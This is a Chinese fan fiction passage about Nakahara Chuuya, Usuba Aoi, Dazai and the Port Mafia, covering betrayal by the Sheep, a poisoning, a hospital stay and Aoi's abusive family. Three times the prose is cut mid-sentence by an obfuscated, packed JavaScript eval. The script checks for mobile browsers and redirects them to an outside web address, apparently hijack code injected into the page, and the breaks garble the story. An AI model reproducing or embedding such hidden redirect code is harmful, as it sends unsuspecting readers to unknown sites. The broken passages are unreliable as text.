如果不是神有私心,那就是这个世界上根本没有所谓的“神”。 更或许是…… 她看向等着她回答的中原中也,对方还在以期待的神情等待她的回复,那双钴蓝色的眼睛胜过万里无云的天空和一望无际的海洋。 在这一刻,所有名贵的蓝色宝石都会在那双眼睛的注视下成为赝品。 更或许是……薄叶葵并不希望所谓的神明与中原中也联系到一起,因为那代表着以后他会与人间的祝福、赞颂、仰望联系在一起,而那些都是与她无关的东西。 不、不。 会这么想的人也太恶毒了不是吗? 她的脑海里有一瞬间想到雪野夕调侃式的问话“努力赚钱买个带地下室的房子”。 也能用来囚禁神明吗? “承载荒神的容器?”薄叶葵最终开口,“中也……为什么要把自己看作容器?” 她喜欢的是他的温柔、傲娇、口是心非的那一面。 神明也会有这些情感吗? “因为……”似乎是听到了出人意料的回答,赭发少年有些不自然地摸摸后脑,他的头发长得有些长了,此时正温顺地垂在他的后颈,需要主人时不时拨弄一下。 也许再长长下去就需要用小皮筋扎起来。 按理说用重力就能让发丝一直听话,但他并没有那么做。 听完他的解释,小葵将嘴里的糖彻底咬碎,流心的酸与凉消失在喉咙里,舌尖只剩下一点甜蜜的糖壳。 “中原中也……就是中原中也,他一直行走在自己的道路上。” “我并不懂什么人与神的分析。” “倒不如说。”她将手里的塑封袋封好,抢先去老板那里付钱,“这次还是让我请吧?” “……倒不如说,正因为是中也,才让我第一次生出信神也许还不错的想法。” 酸涩与冷要咽下去,最好是永远留在心中。 你只要记住舌尖上的甜味就好了,薄叶葵。 在之前的学校里受过的冷眼还不够多吗?在家中遭受过父亲的指责还不够多吗? 是因为自己沉默寡言,不能吐出令他们满意的话。 又或许是自己穷困潦倒、做任何事情都天资平平,以至于连评价起别的东西来也并不够格。 但起码……如果只是语言与行动就能为别人,尤其是中也带来快乐的话,她也许会搜肠刮肚、直到说出一箩筐好话才行。 中原中也果然因为这些话快乐起来,不如说他从一开始就是非常乐观的类型,只要微微鼓励就又会行走在正确的道路上。 “其实最近主要是因为GSS烦心。”他主动接过那袋色彩斑斓的糖果,丝毫不在意离开充斥着冷气的店铺后这些糖已经开始融化。 将有点拉丝的糖果卷上舌尖,诉说烦恼的少年腮边鼓起一小块,声音也有点含糊不清,“我是不希望【羊】和港口mafia扯上太大关系啦。” “很少见到中也这么苦恼。”薄叶葵没忍住上手戳了一下他鼓起来的脸颊,对方好像受到了惊吓,白皙的脸颊一下子瘪下去,几秒后才在另一边又多出一个小鼓包。 也许是看见她还没有把手放下,他赶紧将糖果咔擦咬碎吞下去,等到舌根也浸没甜意,耳根才后知后觉地泛上一层浅粉色。 “如果在【羊】过得不快乐……”她开了个头,又在中也钴蓝色眼睛里认真的眼神下落败。 “他们是我的伙伴。”他说。 “羊是你的伙伴,但中也……是一个活生生的人。” 语言只能匮乏到如此程度。 就像源真理子调侃过的那样,如果雪野夕的喜欢有三分,她大概会说成十分;但薄叶葵的喜欢有十二分,她也只敢表露两分。 比起他们,你更重要。 如果让我来选择,我宁愿你将他们全部舍弃。 “不要把任何人、任何事情放在自己之前。”这是那天聊天时雪野夕跟她说起的话,“总是在心里把自己放在更后排的位置,一旦受到伤害就容易变成致命伤呢。” 黑发绿眼的女孩叹了口气,眼神有点沧桑地看向一直在揪自己头发的栗子酱,“就像是卖惨,适当地向别人袒露脆弱是情趣,毫无保留地坦白自己只会变成未来让自己受伤的武器。” “……一点也不说,那岂不是只能让对方猜测吗?”薄叶葵有点迷茫,“万一恋人也是这种不敢表达的类型,两个人都会很累吧?” 雪野夕:“我虽然对讲我的悲惨经历没什么兴趣,但我挺喜欢听别人的脆弱的嘛。” 源真理子:“哈?你有什么悲惨经历?看着自己卡里的十位数余额感到烦心吗?” 雪野夕:“每隔两天就要听未来抱怨你,不够悲惨吗?” 源真理子:“喂你!” 薄叶葵:“好了好了,小姐们,我才是最寒心的那个。” 对话就到此结束了,她也无法再劝说中原中也。 一时间,走在街上的两人陷入难得的沉默。 “哇哦,这不是小蛞蝓吗?”一个稍有些轻浮的少年声音在两人后上方响起。 身后的矮墙上,坐着一个穿西装的少年,脸颊与脖颈手腕都缠着绷带,无法看出被衣物覆盖的地方是否还有更多。 轻薄的白衬衫被他不那么规整地塞进西装裤里,少年居高临下地晃荡着小腿,身躯在宽大的西装外套映衬下难免显得单薄,白皙到近乎透明的手里拿着一本颜色黯淡的小书。 不难看出被主人看了很多遍。 也许是心爱之物也说不定。 他就像一只百无聊赖、时不时跃上墙头的黑猫,穿梭城市的间隙喊了一句过路的行人之后,就开始拨弄手边的蔷薇丛。 不出意料被花刺扎到了。 黑猫不爽地抖抖胡子。 “失魂落魄的蛞蝓在街上闲逛,怎么,不会跟组织里的其他人闹矛盾了吧?” 当他笑嘻嘻看过来时,与笑面相对的眼神简直让薄叶葵想到被装在塑料袋中的、烧焦的黑猫。 轻盈与窒息感并存。 中原中也绷紧了脊背。 这个人第一次来【羊】的势力范围就直接找上了他,并没有与其他人接触。 现在却能精准地认出他身边的小葵并非羊的成员,又以“组织内闹了矛盾”作为开场白。 那岂不是说明……他对羊内部的情况了如指掌? “正在因为GSS的针对而头疼吧?”名为太宰治的少年从蔷薇盛开的矮墙上一跃而下,用近乎哄骗的声音说着,“不如求求我怎么样?” “我再怎么样也不会求助黑手党!”中原中也将薄叶葵挡在身后,“倒是你,想怎么样?” “不要那么紧张嘛。”太宰治逼近一步,漆黑的西装外套像是划开了一片自带凉意的空间,“我周围没有战斗部队呢。” 是因为身边的这个女孩,才会对他的出现如临大敌吗? 黑猫弯起眼睛,心道有趣。 这是他和那些羔羊们交谈都没出现过的反应哦。 “即使是有什么,那也是我和你们之间的事。”中原中也娃娃脸上的神情很严肃,“小葵只是个普通人。” “明白、明白。”太宰治向后微微仰身,举起双臂,“我可不敢随便打这位小姐的主意。” 薄叶葵也不太想跟这个人扯上关系。 ……那种眼神,一看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467463|154282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就非常危险。 已经盛开到即将凋谢的花,即使垂坠在枝头上散发浓郁甜香,也不会有人想将之折下了。 相反,只会怀有惋惜。 对花瓣不久后零落成泥的惋惜。 但在凋谢之前,花枝上的刺仍然坚硬。 “也许接下来会有好事发生。” 中原中也拉着薄叶葵走过时,黑西装少年甚至笑眯眯地行了个礼。 . “听这家伙说的,准没好事。”顺着小路一路走到海边,中原中也才有点气鼓鼓地向薄叶葵抱怨。 薄叶葵还没来得及安慰他,白濑就急匆匆地冲出来,“中也,GSS准备对羊动手。” “什么?那群家伙……”赭发少年一愣,接着握紧了拳头,“他们在哪里?” “已经过来了!”白濑焦急地说:“小心!” 一颗子弹悬停在中原中也额头前,他钴蓝色的眼睛没有丝毫畏惧地直视远处全副武装的敌人,“可恶,小葵,别离开我身边。” 薄叶葵捏着糖果的手心渗出汗水,她心中其实有些怀疑。 即使羊最近与GSS有所摩擦,但他们凭什么以为只派出一些人手就能对付中也? “他们抓了我们的同伴。”对上她的视线,白濑提高了声音,“肯定是用来威胁中也的!” “居然敢对我的伙伴做出这种事。”羊之王确实怒不可遏,他周身弥漫起一层代表重力的红光,“准备好被重力碾碎了吗?” ……真的是这样吗? 薄叶葵仍在盯着白濑,直到他有些恼羞成怒地斥责她,“你一个普通人,在这种情况下还是管好自己吧!小心成为中也的拖累!” 说的也是……! “噗呲——” 代表守护的红光失效。 “小葵?” 中原中也瞪大了眼睛。 白濑退后两步,将染血的刀子丢在地上。 “尽管只是划破体表……但已经足够毒发了。”他握刀的手犹在颤抖,又看向刚刚用手握住刀刃的薄叶葵,“真没想到,你居然会这么做。” “异能者对毒药的抗性还算不错,你一个普通人……” “我并不想这么做。”他重复两遍后,就将视线从她皮开肉绽的左手上移开,像是在说服自己,“这不是我的错。” “是你自己要冲上来替他挡刀,也是你先打算抛弃我们的,中也!” “小葵!”中原中也此时却没工夫搭理白濑,他顾不上自己的伤口,直接握住她的手腕将泛黑的血液挤出,再从贴身的衣服上撕下一块包扎伤口。 “抱歉……中也。”左手仍在止不住的颤抖,凉意顺着血管爬上整个手臂,最终蔓延到大脑,薄叶葵眼前有点模糊,“如果我能……挡住他。” 你就不会中毒了。 “这种时候还在说这种话。”眼圈微红的少年有些咬牙切齿,抱住她的动作却很轻,“我带你去医院,再坚持一下!” 少女的身体单薄,抱起来轻飘飘的,脱力后的无力姿态,像是随时随地都能从怀中流走。 “他中毒了吗?”GSS的成员从身后靠近,其中有一个语气有些不客气地问白濑。 什么嘛,白濑咬咬牙,心中不爽他的态度,但既然已经做出放弃中原中也的决定,这种时候就不可能再反悔。 “当然。”他盯着中原中也将薄叶葵抱起来的动作,“虽然只是很浅的伤口……” 他身边壮汉突然闷哼一声,脚下的大地开始龟裂,直到他的身体整个沉进岩石地面。 没有惨叫、无法挣扎,一个战斗力不错的成年人就这样失去了宝贵的性命。 场面寂静一瞬,带队的小队长才凶狠地说:“既然他已经中毒了,又能挡下多少攻击呢?” 一声令下,密集的子弹如同大网一样向两人笼罩。 密密麻麻的子弹最终停在赭发少年身前,又在顷刻间折返回去—— 只是随着毒素的发作失去了原有的力道和准头,还没飞出多远就落在地上。 连绵不绝的“叮当”碰撞声响彻。 眼前是死咬不放的GSS,身后是陡峭的悬崖,再往下是一望无际的海。 薄叶葵倚靠在他颈侧,体温一点一点降下去,唯一的安慰只有她轻缓的呼吸。 打在中原中也的脖颈上。 “白濑……” “如果这就是你、这就是羊想要的。” “这是正确的选择!” 昔日的伙伴向他举起枪,眉眼之间只剩下冷漠。 在白濑身后,属于羊的成员一个接一个地出现,他们正注视着曾经认定的“羊之王”。 “拜托了,中也。” 再为羊做最后一件事吧。 用你来成全【羊】。 “哎呀,我就说会有好事发生嘛。” 一个轻巧的声音突然插入战场,宛如黑猫的少年蹲坐在一块突出的礁石上,身后是一群严肃的黑衣人。 “太宰治!”中原中也艰涩地吐出这个名字,“你……” 他动作僵硬地抱紧怀里的人。 “救救她。” “可爱又重情义的小姐,应该不会这么轻易就死掉的,对吧?”被喊名字的人当着紧张的局面打了个哈欠,“决定权在你手中哦,中也君。” “我……” “中原中也!”远处传来白濑的大喊。 “看样子我不必用他们的性命作为要挟了?”太宰治饶有兴趣地看过去,“当然,如果你不介意……” “不。”薄叶葵面上逐渐浮起一层青紫色,她已经不能再等了。 “至少,不要杀掉所有的人。”中原中也闭上眼睛,“我答应你的所有要求,快救小葵!” “好吧好吧,特意带了解毒剂哦。” “太宰治。” “嗯?” “你这个混蛋。” “被浑身没力气的蛞蝓骂了啊。” 身后带来的外勤小队已经装作听不见的模样开始清缴,达成目的的黑猫自然就懒得多费口舌令对面那一群单纯的孩子绝望。 失去了组织中唯一的异能者,即使加入GSS也只有死路一条。 可惜无法亲眼看见这样的场景了呢。 “包扎好伤口之后,和我去见boss如何?” “至于这位薄叶葵小姐,也可以进入港口mafia最好的医院治疗哦。” . “森首领。” 港口mafia大楼的最高层,是属于首领的办公室。 视野极尽辽阔,抬眼就能将横滨尽收眼底,再向远处就是波光粼粼的海域。 “您好像开心了不少。”黑发绿眼的少女放下手中的茶杯,肩膀上圆滚滚的小鸟蹦跳着来到她手上,“看来是有好事发生呢。” “收藏美丽的宝石,是人的天性啊。” 桌子的另一边,戴着红围巾的大叔姿态闲适地向后靠在椅背上。 在他侧后方,还站着一个戴眼镜的、气场温和的男人。 茶水恰到好处的温度、代表首领的装扮以及松弛的姿态,无一不再言明森鸥外的势在必得。 金发女童站在他另一侧,当客人看向她时,就会露出一抹再天真友好不过的笑容。 “您的到来,使整个港口mafia蓬荜生辉呢。”森鸥外笑眯眯地看着过分年轻的客人,“请代我向您的母亲,雪野财团的六代目问好。” “当然,母亲大人也同样向您问好。” 她将视线投注于两人之间的桌面,那里是一方杂乱的棋盘,但大致看去,隐隐有三种势力呈现对立又和谐相处的姿态。 “这是我闲来无事的摆设呢。”森鸥外说:“见笑了。” “即使是随手为之,那么您是否思索过结局呢?” “三方对立,最终的结果会是什么?” “是就这样各自占据一角,共同地生存下去,还是……三者角力,直至其中两者毁灭?” “棋盘虽然只有方寸大小,力量却是平衡的。” “无论是先‘吃掉’哪一方,棋盘都会因为失衡而倾覆。” “除非三方之中,有一方能够稳稳压制住四角,占据绝对的力量呢。”黑发客人摸了摸手上小鸟柔软的羽毛。 “哈哈。”森鸥外并没有接话,心里也许是在感叹少年人的不自量力。 来访横滨的客人比他还要悠闲。 港口mafia的先代首领可以称得上是穷兵黩武,在横滨掀起了巨大的风浪。 而在他之后接手的森鸥外,上位后首先面对的就是一团糟的资金和账目。 在这种时候来到横滨谈合作……既是雪中送炭,也是一场高风险的投资。 今日在此会面的两人心知肚明。 “我还以为,森首领不会亲自见我。”雪野夕捏着栗子酱的翅膀把玩,“看来今日的港口mafia发生了什么了不得的大事呢。” 了不得到首领只带了负责情报的坂口安吾先生就开启了这场会面。 “毕竟您带来了手信。”森鸥外语气和缓,“在这种时刻选择港口mafia……” “鄙人向您保证,绝对物超所值。” “母亲和我都相信您的能力啦。”雪野夕也学着他的样子向后靠在椅背上,“您同时也是父亲的朋友。” “信那家伙啊,如果有机会,我也想和他一同小酌。” “那就请原谅我之前言辞的失礼吧。” 雪野夕神色轻松,“具体的事宜我还要看过合同、与董事会商讨后才能敲定,在此之前,希望您不要嫌弃我的叨扰。” “这位是港口mafia的文职人员,坂口安吾先生。”在森鸥外的介绍下,戴眼镜的男人踏前一步,向她微微躬身示意。 “这几日就由安吾作为你的向导游览横滨,如何?” “那就多谢森首领了哦。” 随着会谈结束,一条短信也发送到森鸥外的手机上。 时间刚刚好。 太宰治再一次完美地完成了任务,从此,港口大楼中璀璨的钻石将会再多出一颗。 甚至…… 这是一颗已经为自己选择好了宝石匣的钻石啊。 真是……太过完美了,不是吗? 8. 第八章 薄叶葵再次醒来时,时间已经到了第二天。 攒钱买到的二手手机上没什么特别的消息,只有来自母亲的一句问候。 发信时间是午夜十二点。 “你去哪了?”几个字孤零零地躺在收件箱里,老旧的手机屏幕开裂,将它们分割成一堆乱糟糟的字符。 自从她开始拿奖学金,甚至能时不时匀出一点接济家里后,妈妈和爸爸就好像默认她可以离开家闯荡了一样,再不过问她的生活。 黄昏透过医院的玻璃,落在洁白的被子上,笔尖环绕着消毒水的气息,房间里除了她没有别人,走廊上也静悄悄的。 这个世界好像抛弃了她。 只有妈妈像拉住她的一根线,虽然摇摇欲坠,但总归是被人握在手中的。 她也只能通过被拉扯的感觉来确定自己得到爱。 也许是身上太过疲乏无力,眼角竟然干涩到流不出一滴眼泪。 薄叶葵撑着床沿慢慢坐起来,光着脚踩上地面。 浑身瘫软,左手手心被细心地包扎好,头脑虽然还有些眩晕,但总体上没什么大碍。 “小葵?!” 身躯被红光包裹,下一秒,沉重被轻浮取代,她又轻飘飘地被移回床上。 推门而入的中原中也松了口气,看到她光着脚站在地上,下意识就用异能力这么做了。 “你终于醒了。”他摸摸鼻尖,走到病床边帮她掖好被子,“足足睡了一天一夜,饿了吧?” “嗯。”被松软的被子包围,那种脱力感又涌上来,薄叶葵也就顺势点点头。 其实她不怎么饿,反而有种低血糖后恢复过来的轻微恶心感。 “想吃什么?” 薄叶葵还不知道他身上发生了什么,但他换了一身装扮,如果之前的卫衣是休闲宽松,那么如今的西装马甲则要显得更加正式,赭色的发丝被漆黑的礼帽压在下面,散落在脖颈上便显现些顽强与蛰伏并存的蓬勃生命力。 那双钴蓝色的眼睛,也许是这一天一夜里并未休息好,比平日色泽更深刻,也让少年多了些成熟的风韵。 中原中也其人,虽然常年一副不好惹的模样,但却是个拽拽衣角喊饿都能令他生出怜悯之心的家伙。 ……冷着一张脸干着这么温柔的事,品起来不就更香了吗?可恶。 “小葵?”没得到回复的橘子先生又忧心忡忡地叫了她一声,伸手来探她的额头,“……难道是发烧了吗?” “没。中也你好香。” 下意识将心里话秃噜出来的薄叶葵一脸后知后觉。 刚刚把手背放在她额头上的中原中也动作一顿,然后像被烫了一样弹跳起来。 眼中沉郁烟消云散,又变回那个无论如何都会继续生活下去的人。 “你在说什么?!” 他一脸“我的认知出了问题”的模样。 薄叶葵脸色苍白,刚从深睡中醒来的眼睛里还带着朦胧的水光,她躺在床上,蓬松毛躁的黑发铺散在枕头上,脸颊则陷进松软的棉花里,气色不足却饱满许多。 “……中原身上闻起来香香的。”她眨眨眼,“你吃了糖吗?我想吃那个。” “……哦。” 察觉到自己会错意的少年慌忙将眼睛转开,绯色悄悄爬上耳根。 “还没吃正餐,先不要吃糖。”即使如此,他也忍着羞涩嘱咐,“我去盛饭,吃完饭就给你带糖果好嘛?” “嗯……想要,和中也分的那一个……” 没有找到。 中原中也没有记住那款糖果的名字。 薄叶葵似乎也就是那么一说,吃过饭后也就没有再提起。 但他似乎陷入了某种焦躁不安中,似乎是在愧疚自己连这点小事都没有帮她做到。 “这不关中也的事呀。”吃过饭的薄叶葵靠在枕头上,脸色看上去好了不少,“我也没记住名字嘛。” “都是我的错。”小橘子有些沮丧地低下头,“无论是小葵受伤,还是没能买到糖……” 他真正想说的不是这件事。 是羊。 可与新首领的那番交谈结束后,他悄悄返回病房,薄叶葵那时依旧在昏迷中。 而他的身份已然转变,成为了她从前恐惧的人。 看着病床上的人单薄的身体与惨白的脸色,他甚至从愧疚中升起一股惶恐。 中原中也本身也许无所谓,但葵应该是盛放在太阳下的花。 ……一时之间竟然踌躇起来。 “中也是在为羊而自责吗?”薄叶葵并没有委婉地将事情略过,相反,她很直白地询问他。 “……”中原中也只是短暂停顿一下,就坦然点头,“是,虽说羊之王只是一个戏称,但我确实被他们推上首领的位置。” 如果不是与森首领的谈话,他也许仍然不知道自己做错了什么吧。 如今小葵主动提起,自己也不应该对她隐瞒什么。 “一旦被欲望裹挟,人也就会丧失很多善意,有时候未经过良好教导的孩子在这点上,反而比大人过分的多吧。” 薄叶葵的话并不关乎权利,与森先生所说的“首领其实是组织的奴隶”观点与出发点并不相同。 “我并不喜欢白濑,中也。”她直白地告诉他,“我羡慕他的自由和强大,又讨厌他那副脾气,他也没有认可过我。” “也许这是因为我们都才十五岁,这种互相讨厌或许在十年后的我们看来很可笑。” “但他想要伤害你……顺带误伤我,所以在我这里他是坏人。” 病床上的人颠三倒四地说出一番话,最终以鼓起嘴巴生气为结束。 话里话外大概是白濑是个坏蛋,所以你应该把一部分错处分给他才对。 中原中也一时间有点哭笑不得,“好吧,可你得答应我,以后不许再做这样的事了。” “中也先答应我,以后不会再这么大意。”薄叶葵伸出小拇指,“这样才能让人放心嘛!” 被这种幼稚举动逗笑的人扶正帽子,也伸出小指,“我答应你。” 薄叶葵勾住他的小指使劲晃动两下,“一言为定,我们就在……荒神的见证下说好了!” 中原中也有些不自在地轻咳一声,“为什么是荒神啊?” “因为这是中也提起的神明大人啊!”薄叶葵理直气壮, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467464|154282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “既然是中也提起的,应该会很灵验吧?” “……嗯。” . “请问是薄叶小姐的病房吗?” 房门被人轻敲两下,门外传来一个平稳的男声。 “进来。” “中原先生,薄叶小姐。” 提着蓝色手提袋的男性微微鞠躬,中原中也也向他点头致意。 “在下文书处理人员坂口安吾,被委托来送慰问品。”带着眼镜、唇上方有一颗痣的青年平静地诉说来意,“希望二位的身体已无大碍。” 薄叶葵感觉他的黑眼圈看上去比自己重多了。 哦不,自己好歹睡了一天一夜,而这位先生看上去身上满满都是社畜气息,就连得体的西装都遮掩不住这种慢条斯理的颓废。 很好奇他的工龄啊。 实际上今年也才十九岁的坂口安吾:…… 淡定,这份工作只是最基础不过的跑腿和慰问,比淹没在各类文书中好很多。 “这是雪野小姐带来的,她正忙于工作,所以拜托我送过来。” “Sugarfina?” 中原中也接过那个手提袋,里面是满满的、分装在一个个盒子里的糖果。 薄叶葵很高兴,但中原中也总感觉有些微妙的不爽。 他这次将牌子记下,小葵好像吃到玫瑰硬糖的时候眉头最舒展,好的,以后就买这个。 “只能吃几块。” 等她挨个尝了口味,糖盒就被他重新封好,“剩下的只能等到明天再吃。” “知道了妈……不、中也。” “……哈?上次是爸爸,这次居然变成妈妈了吗?” 坂口安吾发出并不剧烈也并不响亮的咳嗽声,“抱歉,你们喜欢就好,在下就先告辞了。” 不管是留在这里继续听下去,还是直面港口mafia最新收入囊中的钻石,这些都并不是他的本意啊! 兢兢业业的社畜轻声关门离去,在各种小细节上堪称妥帖。 “还没来得及道谢……” 不过想到明天出院就能去找亲自夕酱和坂口安吾先生,所以她干脆利落地回到与中原中也斗嘴的频道上。 “叫妈妈是在夸人啊,妈妈是一种感觉,一种伟大的感觉。” “只有温柔妥帖令人喜爱的异性,才能被叫做妈妈。” “……异性?”脑子逐渐浆糊的中原中也抓住关键词,“所以这竟然被用来称呼男人吗?” “是夸中也温柔妥帖令人喜爱还香香的……” 这次她吃过饭了,应该不是饿了吧? 他脑海里的第一反应竟然是这个。 不过,“温柔妥帖”就算了,“令人喜爱”…… 好像有什么东西在身体里炸开了。 病房里的少年红成一颗小番茄。 “我、我明天再……不,是晚饭时间再来看你。” 慌张中只来得及带上帽子的赭发少年冲出病房,几秒后,又进来提走糖袋子。 薄叶葵嘴角上扬,但很快又落下来。 ……如果用心表白,中也会不会自己纠结很久,然后直接答应吧? 9. 第九章 “你好啊,小姐。” 第二天,薄叶葵没等到中原中也,反倒是先等来了太宰治的造访。 身披黑色外套的少年抱臂站在病房靠窗的一侧,视线投向窗外。 不管是问好时有气无力的姿态,还是转过眼来与她对视是眼中的那份虚无,都昭示着他对来此的不情愿。 什么“宝石匣”,无聊透顶。 “你应该已经知道,中也是港口mafia的一员了吧?”太宰治小幅度地打了个哈欠,神态与一只被太阳晒得懒洋洋的猫咪没什么区别。 “那么作为曾经在黑手党手下受挫的葵小姐,您的选择呢?” 几年前父亲的失业让薄叶葵的家发生了巨大的变化,而导致父亲失业的原因也很简单,黑手党之间的械斗影响了公司生意,甚至父亲的“朋友”还离奇失踪。 现在薄叶葵会如何看待加入黑手党的中原中也? “太宰先生,您是不是很讨厌我?”薄叶葵答非所问。 本来正期待着她的回答的人一愣,露出一个不是很真诚的笑容,“怎么会?” “我的生活本就是一场一刻不停的大雨,无论中也是否出现,都是一样的。”玻璃糖纸在薄叶葵手心里发出悉簌响声,折起来变厚的边缘偶尔会扎到手心,带来并不尖锐的疼痛,“……倒不如说正因为有了中也,我才能看到另一种可能。” 那是自由,也是自强。 “所以我很羡慕中也,也永远不会憎恨他。” 但并不代表你会一直站在他身边。 太宰治沉默。 “太宰先生好像也是一样的。”她咬了咬下唇,最终还是说出了那句话,“在太阳与月亮之下……我们都像尘埃一样渺小。” . “怎么样?”森鸥外双手叫出,看向他对面那个神色懒散的少年。 他看人向来很准,加入了港口mafia的中原中也拥有对组织的绝对忠诚,但人性总是需要安抚的。 “不怎么样啦。”太宰治的视线在面前零散的一大堆去掉标签的药物上寻索,像是在思考将哪两种混合起来吃比较好。 “薄叶葵小姐只是一个普通人,身手相当薄弱。” “普通人,可用来威胁中也的话,就是一张好牌了吧?” 森鸥外笑眯眯吐出两人之间心知肚明的事,并没有一丝顾及。 即使是他,在太宰治面前也不敢说能够瞒住所有事啊。 “现在的小姐们真是难办呐。”他顷刻之间像个真正的中年上班族一样向后倚靠在椅子里,“薄叶小姐对我们没什么好感,雪野小姐又很难缠……与她的会谈,港口mafia可没有得到什么丰厚的回报。” “是森先生太过贪心啦。”太宰治正在将两种不知名药物混合搅拌,鸢色的眼睛像是要给它增添什么一口毙命的魔力,“反正我们也是缺钱又缺人,再说您口中的‘丰厚’,绝对是一般人承受不了的大出血吧?” “我记得你很招以前会谈过的女性喜欢啊,太宰。”被当面怼了的森鸥外磨磨牙,“不如下次就安排你和雪野小姐见面怎么样?” “……才不要,好麻烦的。”太宰治将无色的药水吐出来,脸皱成一团,“啊,好苦,果然下次还是试试别的吧。” 他从兜里掏出一颗软糖。 恰好中原中也从外面推门而入,“Boss,您找我……你这家伙怎么拿着小葵的糖?” “被看出来了?”太宰治没什么羞耻心地将软糖塞进嘴里,“上午的时候去‘慰问’了一下薄叶小姐,看到有糖就顺便问她要来咯。” 中原中也的表情看上去很想给他一拳,但碍于在首领面前忍住了。 “中也。” 上首传来森鸥外的呼唤声。 “我在。” 赭发少年低头致意。 “有个任务……”面色和煦的首领注视着自己的钻石们,他们即使是在黑暗中也在闪闪发光。 所以自己也应该尽最大心力来好好打磨他们啊。 吩咐完任务,他又嘱咐,“薄叶小姐的身体已经没什么大碍,但还是需要仔细呵护哦。” 被他打趣的语气弄得耳朵有点发红的中原中也整理好帽子,却没有反驳这句话。 “还有你太宰。”森鸥外话锋一转,“唔……我这里还有一些刚送来的蟹肉罐头当做伴手礼。” “那我就全都拿走好了!”某个刚刚把嘴角的糖丝舔干净的人眼睛一亮,“毕竟我不像小蛞蝓那样难……嗷!” 走出办公室时,被打了一拳的太宰治神色郁郁,“真是暴力的小矮子。” “你这条青花鱼难道是想死吗?”中原中也瞪了他一眼,又粗鲁地扯住太宰治的衣领,“还有你这家伙,不许再去找小葵。” “哇哦,这样就着急了么中也?” 想到上午那个瘦弱的女孩坐在病床上,真诚地询问他—— 你难道不羡慕吗? 不羡慕中原中也强大的力量、不羡慕他自由而真诚的灵魂。 不羡慕他即使受挫也会坚韧地走下去。 不羡慕他从不虚无地找寻生命的意义。 因为中原中也是一往无前的。 即使是作为“羊之王”的失败,偶尔纠结于自己是“荒霸吐”的容器。 也从不为这些东西绊住向前的脚步。 太宰治头一次在与一位小姐的谈话中感受到抵触。 也许就像是她所说的那样。 像他们这种人,生命中总是有一场连绵不断的阴雨。 ……所以目光才会格外长久地停留在光明上。 哼,到最后他拿走了薄叶葵小姐床头柜上的糖果,说了这么多话,真是好累呀。 被暴力小蛞蝓一拳锤到墙上,太宰治只觉得更心累了。 但香槟软糖还挺好吃,要不等哪天和薄叶小姐偶遇再要点? 薄叶葵小姐脸色苍白,身体瘦弱,头发毛躁,还有手上的茧子位置……她的家境如同他所调查到的那样并不富裕。 自己本来是带着枪走进她的病房的,虽然到最后并没有用上。 太宰治并没有多余的、怜悯他人的好心,所谓的试探说到底也是森先生的任务。 算啦,等到真的发生什么事再做处理吧。 打定主意,从墙壁上滑落下来的他开始大声抱怨起来。 中原中也的背影没有丝毫停留,路过的黑衣人们目不斜视。 但是他们确定中原先生的背影里绝对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467465|154282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 透着一股嫌弃。 至于太宰先生……谁敢看他啊!赶紧离开这里比较好! . “怎么会有人抢病号的糖啊!” 源真理子一巴掌拍在桌子上,“你还吃不吃,我再给你买!” “呃,我真不要了。”薄叶葵真心实意地拒绝了小姐妹的包养。 她在今天中午出院回了趟家,破旧的出租屋愈发脏乱,妈妈麻木地吃着什么,脸上还带着些许伤痕。 爸爸则一副凶神恶煞的表情,问她你还知道回来啊。 薄叶葵再一次感受到了烦闷,但在妈妈祈求的眼神下,她翻遍了全身,将为数不多的钱放在她手心。 然后听见爸爸不屑地轻嗤。 是啊,她只有这么点钱。 可这些全都来源于她自己。 薄叶葵突然生出了无限的勇气,她大声邀请妈妈跟她一起走,一起离开这个破旧逼仄的出租屋。 爸爸就像是被挑衅的狮子,他的眼睛里满是阴鸷地望过来,在得到女儿毫不犹豫地回视之后,他笑了。 等到薄叶葵完全回过神来时,耳边满是妈妈的尖叫声。 她是个温柔沉默的女人,在这个“家”里很少发出声音,总是抱着女儿缩在屋子的一角。 可是当她看到才十五岁的女儿居然将丈夫反制在地,甚至眼神凶狠到像是下一刻就要拧断她亲生父亲的手臂时,她的眼中像是有什么东西碎掉了。 薄叶葵看向妈妈,妈妈也在看着她。 那一刻她看不见以往妈妈看自己的眼神,就好像她从不是她的女儿。 现在的薄叶葵是一个陌生人。 爸爸的领子从手中滑落。 妈妈扑上去,搀扶着丈夫的身体,又被他毫不客气地推开。 她又想要藏进哪里去了,可是屋子太小了,哪有她的藏身之地呢。 依旧缠着纱布的右手握了握,薄叶葵看向妈妈手中紧紧攥着的、她刚刚给她的微薄钱财,自己主动转身走出了这件屋子。 这一次,身后没有挽留声。 